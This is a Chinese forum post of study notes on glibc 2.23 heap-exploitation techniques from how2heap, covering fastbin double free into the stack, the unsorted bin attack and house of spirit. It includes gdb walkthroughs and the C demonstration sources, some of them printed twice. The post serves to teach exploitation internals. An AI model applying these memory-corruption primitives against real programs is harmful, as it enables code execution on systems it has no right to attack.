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[原创]深入理解how2heap_2.23（1）
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发表于: 2023-6-9 00:26
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ptmalloc2的管理方式，chunk结构和bins的模型，在Overview of GLIBC heap exploitation techniques和ctfwiki已经讲解的非常清楚，本文记录自己的学习堆利用的过程。这个系列预计更新完glibc-2.23，2.27，2.31，2.35和相关例题。建议看完glibc源码分析后再来看，当然直接看也无所谓。
wsl-kali。配置参考我的另一篇文章。
docker desktop镜像
ubuntu:16.04
ubuntu:18.04
ubuntu:22.04
编译时可以加-g来方便调试。
ida pro 7.7 + gdb调试。
源码
使用ubuntu:16.04进行编译
使用pwncli改写rpath
在malloc三次后， 0x400743处下断点
查看堆信息,三个fastbin的堆块，f1,f2,f3。
在free(f1),free(f2),free(f1)后，在0x40083B下断点。
查看fastbinY信息。
0x20大小的fastbins链上形成了double free。
再次malloc两次后，设断点在0x40089F
再次查看bins，因为申请两次后，fastbins中剩下f1(0x60300)，而0x60300指向0x603020没有改变，0x603020指向0x60300也没变，并且fastbins中的chunk标记为prev_inuse一直为1，所以fastbins中依然保留这个ABA结构。
接下来，查看汇编代码，StackVar值改为0x20，为了放入0x20大小的fastbins,接下来把f1指向了StackVar以上0x8处，也就是prev_size的位置。将StackVar放入了0x20的fastbins中。在0x40092C处下断点。
查看堆信息。
这时候在申请两次便可申请到栈上。
在0x40095c下断点。
可以看到，已经申请到了栈上的值。
源码
首先申请了两个堆块，第一个堆块不属于fastbin大小，先进入unsortedbin中，第二个堆块为了防止第一块堆块与topchunk合并。在free第一个堆块前设置断点。
查看bins和heap信息
free第一个chunk以后，bins和heap信息，unsortedbin里的第一个chunk的fd和bk指向main_arena+0x58的位置。
接下来利用uaf将unsortedbin中的第一个chunk的bk指针（rax存储的指针指向fd,rax+8指向bk,bk指向后加入的chunk）指向StackVar的prev_size位置。
在0x4007D9处下断点，查看heap和bins信息。可以看到，0x602000处的chunk的bk指针被改为了一个栈值，fd指向main_arena+0x58的位置。
再次将unsortedbin中第一个chunk给malloc出来以后，unsortedbin中仅剩StackVar-0x10。
在0x400828下断点。查看heap和bins信息。
可以看到，StackVar的fd指针即用户区域起始处已被修改为main_arena+0x58的值。
源码
首先申请两个堆块
第一次申请的0x100大小的堆块给了[rbp+ptr]。第二个0x100是阻断topchunk。
接下来free(ptr)，把ptr放入unsorted bin中。
在0x4007A7其fd，bk指向main_arena+x58的位置。
这里把var_28位置写为0x110。IDA里这个var_28中的0x28是16进制的偏移。
这里把rax指向ptr-8的位置，特就是size处。然后将其改为0x20。unsorted bin有FIFO特性，下次申请0x100大小不会找到它。然后将ptr+8的位置指向var_30，也就是把ptr的bk指针指向var_0x28+0x8的位置（bk指向后进入unsorted bin的chunk），var_0x28=0x110，也就是伪造的chunk大小，var_30也就是prev_size的位置。
在0x40081C下断点，可见ptr的bk指向栈。
查看0x602410内存可见ptr的size位置被改为了0x20
接下来申请0x100大小的chunk将会去unsorted bin寻找0x110大小的chunk，ptr已被改为0x20大小，所以跳过ptr申请到了栈上伪造的var_30处chunk。
在0x40082B处下断点，可见malloc后，unsorted被整理，0x20大小的ptr放进了small bin。fd和bk都指向main_arena+104处。
申请成功。
源码
初始化堆。
在0x400703处下断点查看堆结构。
栈中数组结构。fake_chunks_size = 0x40，fake_chunks_next_size = 0x1234。
将 a 指向fake_chunks_fd，然后 free(a)。
成功将栈地址放入 fastbins 中。
那麽此时申请0x30大小的空间会在fastbins中寻找0x40大小的chunk，便可成功申请到栈上。
source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py
define hook-run
pythonimport angelheap
angelheap.init_angelheap()endend#set context-clear-screen on#set debug-events off#source /root/splitmind/gdbinit.py#python#sections = "regs"#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"#import splitmind#spliter = splitmind.Mind()#spliter.select("main").right(display="regs", size="50%")#gdb.execute("set context-stack-lines 10")#legend_on = "code"#if mode == "d":# legend_on = "disasm"# sections += " disasm"# spliter.select("main").above(display="disasm", size="70%", banner="none")# gdb.execute("set context-code-lines 30")#elif mode == "s":# sections += " code"# spliter.select("main").above(display="code", size="70%", banner="none")# gdb.execute("set context-source-code-lines 30")#else:# sections += " disasm code"# spliter.select("main").above(display="code", size="70%")# spliter.select("code").below(display="disasm", size="40%")# gdb.execute("set context-code-lines 8")# gdb.execute("set context-source-code-lines 20")#sections += " args stack backtrace expressions"#spliter.show("legend", on=legend_on)#spliter.show("stack", on="regs")#spliter.show("backtrace", on="regs")#spliter.show("args", on="regs")#spliter.show("expressions", on="args")#gdb.execute("set context-sections \"%s\"" % sections)#gdb.execute("set show-retaddr-reg on")#spliter.build()#endsource ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py
define hook-run
pythonimport angelheap
angelheap.init_angelheap()endend#set context-clear-screen on#set debug-events off#source /root/splitmind/gdbinit.py#python#sections = "regs"#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"#import splitmind#spliter = splitmind.Mind()#spliter.select("main").right(display="regs", size="50%")#gdb.execute("set context-stack-lines 10")#legend_on = "code"#if mode == "d":# legend_on = "disasm"# sections += " disasm"# spliter.select("main").above(display="disasm", size="70%", banner="none")# gdb.execute("set context-code-lines 30")#elif mode == "s":# sections += " code"# spliter.select("main").above(display="code", size="70%", banner="none")# gdb.execute("set context-source-code-lines 30")#else:# sections += " disasm code"# spliter.select("main").above(display="code", size="70%")# spliter.select("code").below(display="disasm", size="40%")# gdb.execute("set context-code-lines 8")# gdb.execute("set context-source-code-lines 20")#sections += " args stack backtrace expressions"#spliter.show("legend", on=legend_on)#spliter.show("stack", on="regs")#spliter.show("backtrace", on="regs")#spliter.show("args", on="regs")#spliter.show("expressions", on="args")#gdb.execute("set context-sections \"%s\"" % sections)#gdb.execute("set show-retaddr-reg on")#spliter.build()#end#include <stdio.h>#include <stdlib.h>int main()
{ fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}#include <stdio.h>#include <stdlib.h>int main()
{ fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}#include <stdio.h>#include <stdlib.h>int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsigned long *p=malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);
free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
//------------------------------------
malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}#include <stdio.h>[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)
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最后于 2023-9-25 07:17
被jelasin编辑
，原因：
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